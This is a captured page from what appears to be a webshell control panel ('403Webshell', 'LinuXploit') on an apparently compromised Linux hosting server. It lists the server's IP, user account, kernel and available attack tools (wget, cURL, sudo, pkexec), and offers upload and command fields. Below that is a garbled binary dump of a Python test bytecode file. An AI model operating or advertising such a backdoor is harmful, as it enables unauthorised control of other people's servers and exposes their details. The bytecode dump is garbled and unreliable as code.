- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.219.207.136
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/jsonschema/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/jsonschema/tests/__pycache__/test_cli.cpython-36.pyc
3

��:X�@slddlmZmZmZddlmZddlmZddlm	Z	m
Z
dd�ZGdd�de
j�Z
Gd	d
�d
e
j�ZdS)�)�Draft4Validator�ValidationError�cli)�StringIO)�SchemaError)�mock�unittestcs$tt����G�fdd�dt�}|S)Ncs(eZdZdd�Z�fdd�Zdd�ZdS)z%fake_validator.<locals>.FakeValidatorc_sdS)N�)�self�args�kwargsr	r	�/usr/lib/python3.6/test_cli.py�__init__sz.fake_validator.<locals>.FakeValidator.__init__cs�r�j�SgS)N)�pop)r
�instance)�errorsr	r
�iter_errorssz1fake_validator.<locals>.FakeValidator.iter_errorscSsdS)Nr	)r
�schemar	r	r
�check_schemasz2fake_validator.<locals>.FakeValidator.check_schemaN)�__name__�
__module__�__qualname__rrrr	)rr	r
�
FakeValidator
sr)�list�reversed�object)rrr	)rr
�fake_validatorsrc@s*eZdZe�Zdd�Zdd�Zdd�ZdS)�
TestParsercCs`tj�}tjjtd|dd�}|j�|j|j�tj�}i|_	tjd�}|j�|j|j�dS)N�openT)Zcreatez	json.load)
r�	mock_openZpatchrr�startZ
addCleanup�stopZMockZreturn_value)r
rZ
patch_openZmock_json_loadZpatch_json_loadr	r	r
�setUps
zTestParser.setUpcCs*tjdddddg�}|j|d|j�dS)Nz--validatorz2jsonschema.tests.test_cli.TestParser.FakeValidatorz
--instancezfoo.jsonzschema.json�	validator)r�
parse_args�assertIsr)r
�	argumentsr	r	r
�2test_find_validator_by_fully_qualified_object_name(sz=TestParser.test_find_validator_by_fully_qualified_object_namecCs(tjdddddg�}|j|dt�dS)Nz--validatorrz
--instancezfoo.jsonzschema.jsonr#)rr$r%r)r
r&r	r	r
�!test_find_validator_in_jsonschema3s
z,TestParser.test_find_validator_in_jsonschemaN)rrrrrr"r'r(r	r	r	r
rsrc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�TestCLIcCsZt�t�}}|jt��8tjtdddiddiddigidgd	d
�||d�WdQRXdS)NZanyOfZminimum��type�stringZrequiredT�z{error.message})r#r�	instances�error_format)�stdout�stderr)rZassertRaisesrr�runr)r
r0r1r	r	r
�#test_draft3_schema_draft4_validator?s
z+TestCLI.test_draft3_schema_draft4_validatorcCsXt�t�}}tjt�idgdd�||d�}|j|j��|j|j��|j|d�dS)Nr-z{error.message})r#rr.r/)r0r1r)rrr2r�assertFalse�getvalue�assertEqual)r
r0r1�	exit_coder	r	r
�test_successful_validationSsz"TestCLI.test_successful_validationcCsjtddd�}t�t�}}tjt|g�idgdd�||d�}|j|j��|j|j�d�|j|d�dS)NzI am an error!r-)rz"{error.instance} - {error.message})r#rr.r/)r0r1z1 - I am an error!)rrrr2rr4r5r6)r
�errorr0r1r7r	r	r
�test_unsuccessful_validationcsz$TestCLI.test_unsuccessful_validationcCs�tddd�tddd�g}tddd�g}t�t�}}tjt||�iddgdd�||d	�}|j|j��|j|j�d
�|j|d�dS)N�9r-)r�8�7�z#{error.instance} - {error.message}	)r#rr.r/)r0r1z1 - 9	1 - 8	2 - 7	)rrrr2rr4r5r6)r
Zfirst_errorsZ
second_errorsr0r1r7r	r	r
�/test_unsuccessful_validation_multiple_instancests
z7TestCLI.test_unsuccessful_validation_multiple_instancesN)rrrr3r8r:r?r	r	r	r
r)>sr)N)Z
jsonschemarrrZjsonschema.compatrZjsonschema.exceptionsrZjsonschema.tests.compatrrrZTestCaserr)r	r	r	r
�<module>s%

Youez - 2016 - github.com/yon3zu
LinuXploit